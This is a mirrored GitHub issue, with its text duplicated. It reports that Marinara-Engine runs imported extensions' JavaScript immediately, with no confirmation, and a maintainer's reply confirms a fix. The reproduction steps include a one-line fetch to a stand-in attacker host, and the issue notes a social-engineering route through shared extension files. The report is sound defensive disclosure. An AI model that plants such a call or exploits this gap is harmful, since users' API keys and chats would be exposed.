[GH-ISSUE #2945] [Issue]: Importing an extension runs its code immediately, with no confirmation #1521

Closed
opened 2026-10-21 05:37:54 +07:00 by bsakaguchi · 1 comment
Owner

Originally created by @kolacheee on GitHub (Jun 28, 2026).
Original GitHub issue: https://github.com/Pasta-Devs/Marinara-Engine/issues/2945

Originally assigned to: @SpicyMarinara on GitHub.

What's wrong

When you import an extension, it lands enabled and starts running immediately. Enabled extensions execute their JavaScript in the app's own page (the same context as your saved API keys, your chats, and your session), so importing a .js/.css/folder/zip from someone else runs their code the instant the file is read. The user only chose to import the file — they never got a chance to look at it, and there's no "this will run code, are you sure?" step. The Extensions UI also nudges people toward downloading community extensions, so importing an untrusted file is the expected flow.

This isn't about extensions running arbitrary code in general — that's an accepted design choice. The fixable gap is that there's no boundary between "imported" and "running." Importing should stage the extension; enabling it should be the deliberate, confirmed step.

How to reproduce (try it yourself)

  1. Make a file hello.js containing just:
    fetch("https://attacker.example/x?ping=1");
    
  2. In the app (running on localhost): Settings → Extensions → Import Extension File → pick hello.js.
  3. Have DevTools → Network open.

You'll see: a toast Extension "hello" installed, and the request to attacker.example fire right away — no confirmation dialog, no preview. The same happens for a single .css file, a loose folder of .js/.css files, and a .zip whose manifest doesn't specify enabled.
Expected: an imported extension lands disabled, and turning it on (especially one with JS) asks for an explicit confirmation first.

(Note on reach: the extension write routes are gated to loopback/admin, so a purely remote attacker can't push this — it needs the victim to import an attacker-supplied file locally. That's a realistic social-engineering vector for a "try my cool extension" file, which is exactly how these get shared.)

Where it is

All four import paths default enabled to true:

  • packages/client/src/components/panels/SettingsPanel.tsx:4045 — .js import: enabled: true
  • SettingsPanel.tsx:4060 — .css import: enabled: true
  • SettingsPanel.tsx:3883 — createLooseExtensionFolderImportEntries: enabled: true
  • SettingsPanel.tsx:3859 — normalizeExtensionImportEntry: enabled: typeof record.enabled === "boolean" ? record.enabled : true (a manifest missing the flag → enabled)

The execution sink is packages/client/src/components/layout/CustomThemeInjector.tsx — buildExtensionModuleSource (28-43) → new Blob (249) → URL.createObjectURL (250) → import() (252), which runs on the next render for any enabled extension.

What's happening

Every import code path enables the extension by default, and the injector runs any enabled extension's JS automatically. There is no staging step, no review, and no confirmation between dropping in a file and executing its code.

Suggested fix

Default imported extensions to enabled: false in all four spots (the two hardcoded literals, the loose-folder builder, and the normalizer's missing-flag fallback) — keep enabled: true only when a round-tripped manifest explicitly carried it. Then gate the first enable of a JS extension behind a confirmation dialog with a clear "this runs code in the app" warning. showConfirmDialog is already imported and used elsewhere in SettingsPanel.tsx.


AI-investigated against v2.0.6; all cited lines were read and the repro verified. Please confirm before fixing.

Originally created by @kolacheee on GitHub (Jun 28, 2026). Original GitHub issue: https://github.com/Pasta-Devs/Marinara-Engine/issues/2945 Originally assigned to: @SpicyMarinara on GitHub. **What's wrong** When you import an extension, it lands **enabled** and starts running immediately. Enabled extensions execute their JavaScript in the app's own page (the same context as your saved API keys, your chats, and your session), so importing a `.js`/`.css`/folder/zip from someone else runs their code the instant the file is read. The user only chose to *import* the file — they never got a chance to look at it, and there's no "this will run code, are you sure?" step. The Extensions UI also nudges people toward downloading community extensions, so importing an untrusted file is the expected flow. This isn't about extensions running arbitrary code in general — that's an accepted design choice. The fixable gap is that there's **no boundary between "imported" and "running."** Importing should stage the extension; enabling it should be the deliberate, confirmed step. **How to reproduce (try it yourself)** 1. Make a file `hello.js` containing just: ``` fetch("https://attacker.example/x?ping=1"); ``` 2. In the app (running on localhost): Settings → Extensions → Import Extension File → pick `hello.js`. 3. Have DevTools → Network open. **You'll see:** a toast `Extension "hello" installed`, **and** the request to `attacker.example` fire right away — no confirmation dialog, no preview. The same happens for a single `.css` file, a loose folder of `.js`/`.css` files, and a `.zip` whose manifest doesn't specify `enabled`. **Expected:** an imported extension lands **disabled**, and turning it on (especially one with JS) asks for an explicit confirmation first. (Note on reach: the extension write routes are gated to loopback/admin, so a purely remote attacker can't push this — it needs the victim to import an attacker-supplied file locally. That's a realistic social-engineering vector for a "try my cool extension" file, which is exactly how these get shared.) **Where it is** All four import paths default `enabled` to `true`: - `packages/client/src/components/panels/SettingsPanel.tsx:4045` — `.js` import: `enabled: true` - `SettingsPanel.tsx:4060` — `.css` import: `enabled: true` - `SettingsPanel.tsx:3883` — `createLooseExtensionFolderImportEntries`: `enabled: true` - `SettingsPanel.tsx:3859` — `normalizeExtensionImportEntry`: `enabled: typeof record.enabled === "boolean" ? record.enabled : true` (a manifest missing the flag → enabled) The execution sink is `packages/client/src/components/layout/CustomThemeInjector.tsx` — `buildExtensionModuleSource` (28-43) → `new Blob` (249) → `URL.createObjectURL` (250) → `import()` (252), which runs on the next render for any enabled extension. **What's happening** Every import code path enables the extension by default, and the injector runs any enabled extension's JS automatically. There is no staging step, no review, and no confirmation between dropping in a file and executing its code. **Suggested fix** Default imported extensions to `enabled: false` in all four spots (the two hardcoded literals, the loose-folder builder, and the normalizer's missing-flag fallback) — keep `enabled: true` only when a round-tripped manifest *explicitly* carried it. Then gate the first enable of a JS extension behind a confirmation dialog with a clear "this runs code in the app" warning. `showConfirmDialog` is already imported and used elsewhere in `SettingsPanel.tsx`. --- *AI-investigated against v2.0.6; all cited lines were read and the repro verified. Please confirm before fixing.*
Author
Owner

@SpicyMarinara commented on GitHub (Jun 28, 2026):

Fixed on staging: imported extension files/folders now stage disabled for review by default, and enabling JavaScript extensions requires an explicit confirmation.

<!-- gh-comment-id:4827784455 --> @SpicyMarinara commented on GitHub (Jun 28, 2026): Fixed on staging: imported extension files/folders now stage disabled for review by default, and enabling JavaScript extensions requires an explicit confirmation.
Sign in to join this conversation.
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
Pasta-Devs/Marinara-Engine#1521
No description provided.